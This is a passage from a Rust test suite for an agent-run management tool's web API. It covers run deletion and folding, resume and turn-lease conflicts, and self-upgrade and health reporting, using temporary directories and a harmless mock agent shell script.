18741 let run_unfolded = "20260901-000000-unfd";
18743 let mut state2 = RunState::new(
18744 PathBuf::from("/repo"),
18745 "main".to_owned(),
18746 "abc".to_owned(),
18747 "instruction".to_owned(),
18748 Config::default(),
18749 );
18750 state2.id = run_unfolded.to_owned();
18751 state2.status = RunStatus::Ready;
18752 state2.candidates.push(crate::run::Candidate {
18753 index: 0,
18754 label: 'A',
18755 agent: "a".to_owned(),
18756 branch: "b".to_owned(),
18757 worktree: PathBuf::from("/w"),
18758 summary: String::new(),
18759 stat: String::new(),
18760 files: 1,
18761 commits: 1,
18762 empty: false,
18763 failed: None,
18764 verified_noop: None,
18765 duration_ms: 0,
18766 folded: false,
18767 });
18768 let dir2 = runs.join(run_unfolded);
18769 std::fs::create_dir_all(&dir2).expect("create dir2");
18770 std::fs::write(
18771 dir2.join("run.json"),
18772 serde_json::to_string(&state2).unwrap(),
18773 )
18774 .expect("write run.json");
18775
18776 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
18777 assert_eq!(res.status, 409);
18778 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
18779 assert!(dir2.exists(), "unfolded run directory is kept");
18780
18781 let res = fx.delete("/api/runs/nonexistent").await;
18783 assert_eq!(res.status, 404);
18784 }
18785
18786 #[test]
18795 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
18796 let start = APP_JS
18797 .find("function renderStats() {")
18798 .expect("renderStats");
18799 let end = start
18800 + APP_JS[start..]
18801 .find("function statsTile(")
18802 .expect("the next top-level function");
18803 let body = &APP_JS[start..end];
18804
18805 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
18806 let gate_end = gate_start
18807 + body[gate_start..]
18808 .find("}\n renderStatsQueue")
18809 .expect("the gate's own closing brace, right before the unconditional call");
18810 let gated = &body[gate_start..gate_end];
18811
18812 assert_eq!(
18813 body.matches("renderStatsQueue(").count(),
18814 1,
18815 "renderStats must call renderStatsQueue exactly once: {body}"
18816 );
18817 assert!(
18818 !gated.contains("renderStatsQueue"),
18819 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
18820 run-derived panels on an empty run history - the queue panel has to render \
18821 regardless: {gated}"
18822 );
18823 }
18824
18825 #[test]
18826 fn web_ui_delete_contract_in_front_end() {
18827 assert!(APP_JS.contains("deleteRun:"));
18829 assert!(APP_JS.contains("deleteTask:"));
18830
18831 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
18833 ..APP_JS.find("function renderRuns").unwrap()];
18834 assert!(!run_cards_slice.to_lowercase().contains("delete"));
18835
18836 assert!(APP_JS.contains("renderRunDelete"));
18838 assert!(APP_JS.contains("runDeleteReason"));
18839 assert!(APP_JS.contains("magi fold"));
18840 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
18841
18842 assert!(APP_JS.contains("cancel.focus"));
18844 assert!(APP_JS.contains("armedRunDelete"));
18845 assert!(APP_JS.contains("renderTaskDeleteBox"));
18846 assert!(APP_JS.contains("armed${cap(key)}"));
18847
18848 assert!(APP_JS.contains("disabled: status === \"running\""));
18850 }
18851
18852 #[test]
18872 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
18873 let build = APP_JS
18874 .find("function createRunCard")
18875 .expect("createRunCard exists");
18876 let update = APP_JS
18877 .find("function updateRunCard")
18878 .expect("updateRunCard exists");
18879 let end = APP_JS
18880 .find("function renderRuns")
18881 .expect("renderRuns exists");
18882
18883 let builder = &APP_JS[build..update];
18885 let open = builder.find("refs = {").expect("createRunCard sets refs");
18886 let literal = &builder[open + "refs = {".len()..];
18887 let close = literal.find('}').expect("the refs literal is closed");
18888 let published: HashSet<&str> = literal[..close]
18889 .split(',')
18890 .filter_map(|entry| entry.split(':').next())
18892 .map(str::trim)
18893 .filter(|name| !name.is_empty())
18894 .collect();
18895 assert!(
18896 published.len() > 5,
18897 "the refs literal did not parse into names: {published:?}"
18898 );
18899
18900 let mut used: Vec<&str> = Vec::new();
18903 let updaters = &APP_JS[update..end];
18904 for (at, _) in updaters.match_indices("r.") {
18905 let before = updaters[..at].chars().next_back();
18908 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
18909 continue;
18910 }
18911 let rest = &updaters[at + 2..];
18912 let len = rest
18913 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
18914 .unwrap_or(rest.len());
18915 if len > 0 {
18916 used.push(&rest[..len]);
18917 }
18918 }
18919 assert!(
18920 used.len() > 5,
18921 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
18922 );
18923
18924 let missing: Vec<&str> = used
18925 .iter()
18926 .copied()
18927 .filter(|name| !published.contains(name))
18928 .collect();
18929 assert!(
18930 missing.is_empty(),
18931 "a run card's updater reaches for {missing:?}, which `createRunCard` \
18932 never put in `refs` - every card will throw and the list will \
18933 render empty under a count line that says otherwise. Published: \
18934 {published:?}"
18935 );
18936 }
18937
18938 #[tokio::test]
18939 async fn folding_from_the_phone_reports_what_it_removed() {
18940 let fx = Fixture::start().await;
18941 let runs = fx.runs();
18942
18943 let id = "20260901-000000-fold";
18947 write_run(&runs, id, RunStatus::Stalled);
18948 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18949 assert_eq!(res.status, 200);
18950 assert_eq!(res.json()["removed_count"], 0);
18951 assert_eq!(res.json()["run"], id);
18952 assert!(
18953 runs.join(id).exists(),
18954 "a fold keeps the run's record; only the worktrees go"
18955 );
18956 }
18957
18958 #[tokio::test]
18959 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
18960 let fx = Fixture::start().await;
18961 let runs = fx.runs();
18962 let wt = fx.home.path().join("wt").join("magi").join("dead");
18963 let id = "20260901-000000-dead";
18964 std::fs::create_dir_all(runs.join(id)).expect("run dir");
18965 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
18966 std::fs::create_dir_all(&wt).expect("worktree dir");
18967
18968 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18969 assert_eq!(res.status, 200, "{}", res.body);
18970 assert!(
18971 res.json()["removed_count"].as_u64().unwrap() > 0,
18972 "the worktree this build could not read a state for still went"
18973 );
18974 assert!(
18975 !runs.join(id).exists(),
18976 "an unreadable run has no candidate list to fold selectively, so \
18977 the whole record goes - same as `magi fold` on the CLI"
18978 );
18979 }
18980
18981 #[tokio::test]
18982 async fn deleting_an_unreadable_run_removes_it_wholesale() {
18983 let fx = Fixture::start().await;
18984 let runs = fx.runs();
18985 let wt = fx.home.path().join("wt").join("magi").join("gone");
18986 let id = "20260901-000000-gone";
18987 std::fs::create_dir_all(runs.join(id)).expect("run dir");
18988 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
18989 std::fs::create_dir_all(&wt).expect("worktree dir");
18990
18991 let res = fx.delete(&format!("/api/runs/{id}")).await;
18992 assert_eq!(res.status, 204, "{}", res.body);
18993 assert!(!runs.join(id).exists(), "the broken record is gone");
18994 assert!(!wt.exists(), "its worktree is gone too");
18995 }
18996
18997 #[tokio::test]
18998 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
18999 let fx = Fixture::start().await;
19000 let runs = fx.runs();
19001 let id = "20260901-000000-live";
19002 write_run(&runs, id, RunStatus::Implementing);
19003
19004 let mut beat = crate::daemon::Status::new();
19005 beat.current = vec![crate::daemon::Current {
19006 task: "20260901-000000-task".to_owned(),
19007 run: id.to_owned(),
19008 }];
19009 beat.updated_at = jiff::Timestamp::now();
19010 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19011 .expect("publish a heartbeat");
19012
19013 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19014 assert_eq!(res.status, 409);
19015 assert!(
19016 res.json()["error"]
19017 .as_str()
19018 .unwrap()
19019 .contains("live daemon"),
19020 "folding under a running agent would pull its worktree away"
19021 );
19022 }
19023
19024 #[tokio::test]
19025 async fn fold_merged_requires_a_pr_url() {
19026 let fx = Fixture::start().await;
19027 let runs = fx.runs();
19028 let id = "20260901-000000-nourl";
19029 write_run(&runs, id, RunStatus::Blocked);
19030
19031 let res = fx
19032 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
19033 .await;
19034 assert_eq!(res.status, 400, "{}", res.body);
19035
19036 let blank = fx
19037 .post(
19038 &format!("/api/runs/{id}/fold-merged"),
19039 Some(r#"{"pr_url":" "}"#),
19040 )
19041 .await;
19042 assert_eq!(blank.status, 400, "{}", blank.body);
19043 }
19044
19045 #[tokio::test]
19046 async fn fold_merged_is_404_for_an_unknown_run() {
19047 let fx = Fixture::start().await;
19048 let res = fx
19049 .post(
19050 "/api/runs/nosuchrun/fold-merged",
19051 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19052 )
19053 .await;
19054 assert_eq!(res.status, 404, "{}", res.body);
19055 }
19056
19057 #[tokio::test]
19058 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
19059 let fx = Fixture::start().await;
19060 let runs = fx.runs();
19061 let id = "20260901-000000-livemerge";
19062 write_run(&runs, id, RunStatus::Blocked);
19063
19064 let mut beat = crate::daemon::Status::new();
19065 beat.current = vec![crate::daemon::Current {
19066 task: "20260901-000000-task".to_owned(),
19067 run: id.to_owned(),
19068 }];
19069 beat.updated_at = jiff::Timestamp::now();
19070 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19071 .expect("publish a heartbeat");
19072
19073 let res = fx
19074 .post(
19075 &format!("/api/runs/{id}/fold-merged"),
19076 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19077 )
19078 .await;
19079 assert_eq!(res.status, 409, "{}", res.body);
19080 assert!(
19081 res.json()["error"]
19082 .as_str()
19083 .unwrap()
19084 .contains("live daemon"),
19085 "correcting a run's merge underneath a running agent would race \
19086 whatever it is doing to the same `status`/`merge` fields"
19087 );
19088 }
19089
19090 #[tokio::test]
19095 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
19096 let fx = Fixture::start().await;
19097 let runs = fx.runs();
19098 let id = "20260901-000000-unconfirmed";
19099 write_run(&runs, id, RunStatus::Blocked);
19100
19101 let res = fx
19102 .post(
19103 &format!("/api/runs/{id}/fold-merged"),
19104 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19105 )
19106 .await;
19107 assert_eq!(res.status, 400, "{}", res.body);
19108 assert_eq!(
19109 read_run(&runs, id).unwrap().status,
19110 RunStatus::Blocked,
19111 "a pull request that could not be confirmed merged must leave \
19112 the run exactly where it was"
19113 );
19114 }
19115
19116 #[tokio::test]
19117 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
19118 let fx = Fixture::start().await;
19119 let runs = fx.runs();
19120
19121 for (status, word) in [
19127 (RunStatus::Merged, "merged"),
19128 (RunStatus::Ready, "ready"),
19129 (RunStatus::Failed, "failed"),
19130 ] {
19131 let id = format!("20260901-000000-{}", &word[..4]);
19132 write_run(&runs, &id, status);
19133 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
19134 assert_eq!(res.status, 409, "{word} must not be resumable");
19135 let err = res.json()["error"].as_str().unwrap().to_owned();
19136 assert!(err.contains(word), "the refusal names the status: {err}");
19137 }
19138
19139 let mid = "20260901-000000-midf";
19144 write_run(&runs, mid, RunStatus::Reviewing);
19145 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
19146 assert_eq!(res.status, 202, "an interrupted run is resumable");
19147 }
19148
19149 #[tokio::test]
19150 async fn resume_is_refused_while_the_loop_is_running() {
19151 let fx = Fixture::start().await;
19152 let runs = fx.runs();
19153 let stalled = "20260901-000000-stal";
19154 write_run(&runs, stalled, RunStatus::Stalled);
19155
19156 let mut beat = crate::daemon::Status::new();
19160 beat.current = vec![crate::daemon::Current {
19161 task: "20260901-000000-task".to_owned(),
19162 run: "20260901-000000-othr".to_owned(),
19163 }];
19164 beat.updated_at = jiff::Timestamp::now();
19165 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19166 .expect("publish a heartbeat");
19167
19168 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
19169 assert_eq!(res.status, 409);
19170 let err = res.json()["error"].as_str().unwrap().to_owned();
19171 assert!(err.contains("othr"), "it names what the loop is on: {err}");
19172 assert!(err.contains("stop it first"), "{err}");
19173 }
19174
19175 #[test]
19176 fn a_run_cannot_be_resumed_twice_at_once() {
19177 let home = TempDir::new().expect("temp home");
19178 let ui = Ui::new(
19179 Queue::at(home.path().join("queue")),
19180 Questions::at(home.path().join("questions")),
19181 Talks::at(home.path().join("talks")),
19182 home.path().join("runs"),
19183 home.path().to_path_buf(),
19184 PathBuf::from("/repo"),
19185 )
19186 .with_worktrees_root(home.path().join("wt"));
19187 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
19188 let again = ui.begin_resume("20260901-000000-once");
19189 assert!(again.is_err(), "a second tap must not start a second graph");
19190 drop(first);
19191 assert!(
19192 ui.begin_resume("20260901-000000-once").is_ok(),
19193 "and the claim is released when the attempt ends"
19194 );
19195 }
19196
19197 #[test]
19198 fn talk_thinking_tracks_only_its_held_turn_claim() {
19199 let home = TempDir::new().expect("temp home");
19200 let ui = Ui::new(
19201 Queue::at(home.path().join("queue")),
19202 Questions::at(home.path().join("questions")),
19203 Talks::at(home.path().join("talks")),
19204 home.path().join("runs"),
19205 home.path().to_path_buf(),
19206 PathBuf::from("/repo"),
19207 )
19208 .with_worktrees_root(home.path().join("wt"));
19209 let id = "20260901-000000-once";
19210
19211 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
19212 let turn = ui.begin_talk_turn(id).expect("claim turn");
19213 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
19214 assert!(
19215 !ui.is_thinking("20260901-000000-other"),
19216 "one talk's turn does not make another talk busy"
19217 );
19218 drop(turn);
19219 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
19220 }
19221
19222 #[test]
19223 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
19224 let home = TempDir::new().expect("temp home");
19225 let talks = Talks::at(home.path().join("talks"));
19226 let ui = Ui::new(
19227 Queue::at(home.path().join("queue")),
19228 Questions::at(home.path().join("questions")),
19229 talks.clone(),
19230 home.path().join("runs"),
19231 home.path().to_path_buf(),
19232 PathBuf::from("/repo"),
19233 )
19234 .with_worktrees_root(home.path().join("wt"));
19235 let id = "20260901-000000-cross";
19236
19237 let other = Talks::at(home.path().join("talks"))
19238 .claim_turn(id)
19239 .expect("claim")
19240 .expect("the other process wins");
19241 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
19242 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
19243 assert!(
19244 matches!(
19245 ui.begin_talk_turn_unless_pending(id).expect("start"),
19246 TalkTurnStart::Foreign
19247 ),
19248 "a foreign holder is refused, not queued behind"
19249 );
19250 assert!(
19251 !ui.talk_turns.lock().unwrap().live.contains(id),
19252 "a refused claim leaves no in-process entry behind"
19253 );
19254 drop(other);
19255 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
19256 assert!(talks.turn_held(id), "the web turn holds the lease");
19257 drop(turn);
19258 assert!(
19259 !talks.turn_held(id),
19260 "dropping the guard releases the lease"
19261 );
19262 }
19263
19264 fn consult_question(ui: &Ui) -> Question {
19265 let mut q = Question::new(
19266 "20260901-000000-consult".to_owned(),
19267 "implement".to_owned(),
19268 "impl-A".to_owned(),
19269 "Which backend?".to_owned(),
19270 String::new(),
19271 vec!["SQLite".to_owned(), "Redis".to_owned()],
19272 );
19273 ui.questions.put(&mut q).expect("question");
19274 q
19275 }
19276
19277 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
19278 (
19279 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
19280 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
19281 )
19282 }
19283
19284 #[tokio::test]
19285 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
19286 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19287 let q = consult_question(&ui);
19288 let talk = ui.talks.get(&id).expect("talk");
19289 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
19290 let before = consult_snapshot(&ui, &q, &id);
19291 let cli_talks = Talks::at(ui.home.join("talks"));
19292 assert_eq!(
19293 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
19294 .await
19295 .expect("CLI starter"),
19296 crate::consult::Started::Busy
19297 );
19298 assert_eq!(consult_snapshot(&ui, &q, &id), before);
19299 assert!(ui.is_thinking(&id));
19300 drop(guard);
19301 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
19302 }
19303
19304 #[tokio::test]
19305 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
19306 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19307 let q = consult_question(&ui);
19308 let talk = ui.talks.get(&id).expect("talk");
19309 let started = tmp.path().join("started");
19310 let release = tmp.path().join("release");
19311 let script = tmp.path().join("consult-agent.sh");
19312 std::fs::write(
19313 &script,
19314 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
19315 )
19316 .expect("script");
19317 let mut cfg = stub_config();
19318 cfg.agents[0].id = "mock".to_owned();
19319 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
19320 cfg.agents[0].env = std::collections::BTreeMap::from([
19321 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
19322 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
19323 ]);
19324 let questions = ui.questions.clone();
19325 let cli_talks = Talks::at(ui.home.join("talks"));
19326 let cli_q = q.clone();
19327 let turn = tokio::spawn(async move {
19328 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
19329 });
19330 let ready = tokio::time::timeout(Duration::from_secs(30), async {
19331 while !started.exists() {
19332 tokio::time::sleep(Duration::from_millis(10)).await;
19333 }
19334 })
19335 .await;
19336 let refusal = if ready.is_ok() {
19339 let before = consult_snapshot(&ui, &q, &id);
19340 let result = talk_say(
19341 State(Arc::clone(&ui)),
19342 Path(id.clone()),
19343 Ok(Json(NewTalkTurn {
19344 reply_to: None,
19345 text: "another message".to_owned(),
19346 attachments: Vec::new(),
19347 })),
19348 )
19349 .await;
19350 Some((result, before, consult_snapshot(&ui, &q, &id)))
19351 } else {
19352 None
19353 };
19354 std::fs::write(&release, "").expect("release agent");
19355 let done = turn.await.expect("join CLI turn");
19356 ready.expect("agent started before deadline");
19357 let (result, before, after) = refusal.expect("web request");
19358 let error = result.expect_err("web must refuse the CLI's turn");
19359 assert_eq!(error.status, StatusCode::CONFLICT);
19360 assert!(error.message.contains("a turn is already running"));
19361 assert_eq!(
19362 after, before,
19363 "refusal preserves question, draft and history"
19364 );
19365 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
19366 let guard = ui
19367 .begin_talk_turn(&id)
19368 .expect("web claim")
19369 .expect("free again");
19370 drop(guard);
19371 }
19372
19373 #[test]
19374 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
19375 let home = TempDir::new().expect("temp home");
19376 let talks = Talks::at(home.path().join("talks"));
19377 let ui = Ui::new(
19378 Queue::at(home.path().join("queue")),
19379 Questions::at(home.path().join("questions")),
19380 talks.clone(),
19381 home.path().join("runs"),
19382 home.path().to_path_buf(),
19383 PathBuf::from("/repo"),
19384 )
19385 .with_worktrees_root(home.path().join("wt"));
19386 let id = "20260901-000000-order";
19387 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19388 let slots = ui.talk_turns.lock().unwrap();
19390 let dropper = std::thread::spawn(move || drop(turn));
19391 let start = std::time::Instant::now();
19392 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
19393 std::thread::sleep(Duration::from_millis(5));
19394 }
19395 assert!(!talks.turn_held(id), "the lease is released first");
19396 assert!(slots.live.contains(id), "the slot is still held meanwhile");
19397 drop(slots);
19398 dropper.join().expect("join");
19399 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
19400 }
19401
19402 #[tokio::test]
19403 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
19404 let fx = Fixture::start().await;
19405 let mut beat = crate::daemon::Status::new();
19409 beat.pid = 4321;
19410 beat.updated_at = jiff::Timestamp::now();
19411 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19412 .expect("publish a heartbeat");
19413
19414 let res = fx.post("/api/upgrade", None).await;
19415 assert_eq!(res.status, 409);
19416 let err = res.json()["error"].as_str().unwrap().to_owned();
19417 assert!(err.contains("4321"), "the refusal names the owner: {err}");
19418 assert!(err.contains("old one against the same queue"), "{err}");
19419 }
19420
19421 #[test]
19428 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
19429 assert!(!should_spawn_recheck(&crate::config::Update {
19430 mode: UpdateMode::Off,
19431 interval: None,
19432 }));
19433
19434 unsafe {
19437 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19438 }
19439 let killed = should_spawn_recheck(&crate::config::Update {
19440 mode: UpdateMode::Notify,
19441 interval: None,
19442 });
19443 unsafe {
19444 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19445 }
19446 assert!(
19447 !killed,
19448 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
19449 one-time startup check"
19450 );
19451
19452 assert!(should_spawn_recheck(&crate::config::Update {
19453 mode: UpdateMode::Notify,
19454 interval: None,
19455 }));
19456 }
19457
19458 #[test]
19464 fn recheck_poll_period_tracks_a_short_configured_interval() {
19465 let short = crate::config::Update {
19466 mode: UpdateMode::Notify,
19467 interval: Some("1m".to_owned()),
19468 };
19469 let period = recheck_poll_period(&short);
19470 assert!(
19471 period <= Duration::from_secs(30),
19472 "a one-minute interval must wake the task far sooner than the \
19473 default ceiling, or the deck would not notice within the \
19474 interval the operator configured: got {period:?}"
19475 );
19476
19477 let default = crate::config::Update {
19478 mode: UpdateMode::Notify,
19479 interval: None,
19480 };
19481 assert_eq!(
19482 recheck_poll_period(&default),
19483 UPDATE_RECHECK_POLL_MAX,
19484 "the default day-long interval should poll at the (capped) \
19485 ceiling rather than needlessly often"
19486 );
19487 }
19488
19489 #[test]
19497 fn recheck_skips_the_network_before_the_interval_elapses() {
19498 let dir = TempDir::new().expect("temp dir");
19499 let path = dir.path().join("state.json");
19500 let state = kaishin::UpdateCheckState {
19501 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
19502 last_known_latest: None,
19503 last_known_url: None,
19504 };
19505 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
19506
19507 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
19508 assert!(
19509 !update_recheck_due(&checker, None),
19510 "a check made moments ago must not be repeated before the \
19511 configured interval elapses"
19512 );
19513 }
19514
19515 #[test]
19521 fn recheck_defers_to_an_upgrade_already_in_flight() {
19522 let dir = TempDir::new().expect("temp dir");
19523 let path = dir.path().join("state.json");
19524 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
19525 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
19526
19527 assert!(
19528 !update_recheck_due(&checker, Some(&progress)),
19529 "a recheck must not run while an upgrade this deck started is \
19530 still moving"
19531 );
19532 }
19533
19534 #[tokio::test]
19535 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
19536 unsafe {
19548 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19549 }
19550 let fx = Fixture::start().await;
19551 let res = fx.post("/api/upgrade", None).await;
19552 unsafe {
19553 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19554 }
19555 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19556 let body = res.json();
19557 assert!(body["to"].is_null(), "there was no release to move to");
19558 assert!(body["parked"].is_null(), "and nothing was parked");
19559 assert!(
19560 body["detail"]
19561 .as_str()
19562 .unwrap()
19563 .contains("disabled by MAGI_NO_AUTOUPDATE"),
19564 "{body:?}"
19565 );
19566 }
19567
19568 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
19569 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
19570 p.stage = stage;
19571 p
19572 }
19573
19574 #[test]
19575 fn busy_stages_match_the_ui_set() {
19576 use crate::updater::Stage;
19577 assert!(APP_JS.contains(
19578 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
19579 ));
19580 for s in [
19581 Stage::Downloading,
19582 Stage::Replaced,
19583 Stage::Parking,
19584 Stage::Restarting,
19585 ] {
19586 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
19587 }
19588 for s in [Stage::Done, Stage::Failed] {
19589 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
19590 }
19591 assert!(upgrade_in_motion(None).is_none());
19592 }
19593
19594 #[tokio::test]
19595 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
19596 use crate::updater::Stage;
19597 for stage in [
19598 Stage::Downloading,
19599 Stage::Replaced,
19600 Stage::Parking,
19601 Stage::Restarting,
19602 ] {
19603 let fx = Fixture::start().await;
19604 let seeded = seeded_progress(stage);
19605 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
19606 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19607 .expect("read");
19608
19609 let res = fx.post("/api/upgrade", None).await;
19610 assert_eq!(res.status, 409, "{stage:?}");
19611 let err = res.json()["error"].as_str().unwrap().to_owned();
19612 assert!(err.contains("already in progress"), "{err}");
19613 assert!(err.contains(stage.as_str()), "{err}");
19614
19615 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19616 .expect("read");
19617 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
19618 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
19619 .unwrap_or_default();
19620 assert!(!log.contains("signalling HANDOVER"), "{log}");
19621 }
19622 }
19623
19624 #[tokio::test]
19625 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
19626 use crate::updater::Stage;
19627 let repo = TempDir::new().expect("repo dir");
19628 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19629 .expect("write magi.toml");
19630 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19631 for stage in [Stage::Done, Stage::Failed] {
19632 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
19633 let res = fx.post("/api/upgrade", None).await;
19634 assert_eq!(res.status, 200, "{stage:?}");
19635 }
19636 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
19638 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
19639 }
19640
19641 #[tokio::test]
19642 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
19643 let repo = TempDir::new().expect("repo dir");
19659 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19660 .expect("write magi.toml");
19661 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19662
19663 let res = fx.post("/api/upgrade", None).await;
19669 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19670 let body = res.json();
19671 assert!(body["to"].is_null(), "there was no release to move to");
19672 assert!(body["parked"].is_null(), "and nothing was parked");
19673 assert!(
19674 body["detail"]
19675 .as_str()
19676 .unwrap()
19677 .contains("nothing restarted"),
19678 "{body:?}"
19679 );
19680 }
19681
19682 #[tokio::test]
19683 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
19684 let repo = TempDir::new().expect("repo dir");
19689 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19690 .expect("write magi.toml");
19691 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19692
19693 let health = fx.get("/api/health").await.json();
19694 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
19695 assert_eq!(
19696 health["update"]["available"], false,
19697 "checking is off, which reads as \"unknown\", not \"none\""
19698 );
19699 assert!(health["update"]["to"].is_null());
19700 assert!(
19701 health["upgrade"].is_null(),
19702 "nothing has ever asked this deck to upgrade"
19703 );
19704 }
19705
19706 #[tokio::test]
19707 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
19708 let fx = Fixture::start().await;
19709 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
19710
19711 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19712 progress.parked_run = Some("20260905-000000-cd51".to_owned());
19713 progress.advance(crate::updater::Stage::Parking);
19714 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19715
19716 let health = fx.get("/api/health").await.json();
19717 assert_eq!(health["upgrade"]["stage"], "parking");
19718 assert_eq!(health["upgrade"]["from"], "0.5.1");
19719 assert_eq!(health["upgrade"]["to"], "0.5.2");
19720 let waiting_on = health["upgrade"]["waiting_on"]
19721 .as_str()
19722 .expect("waiting_on is set while parking a known run");
19723 assert!(waiting_on.contains("cd51"), "{waiting_on}");
19724 assert!(waiting_on.contains("implementing"), "{waiting_on}");
19725 }
19726
19727 #[tokio::test]
19728 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
19729 let fx = Fixture::start().await;
19730 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19731 progress.advance(crate::updater::Stage::Done);
19732 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19733
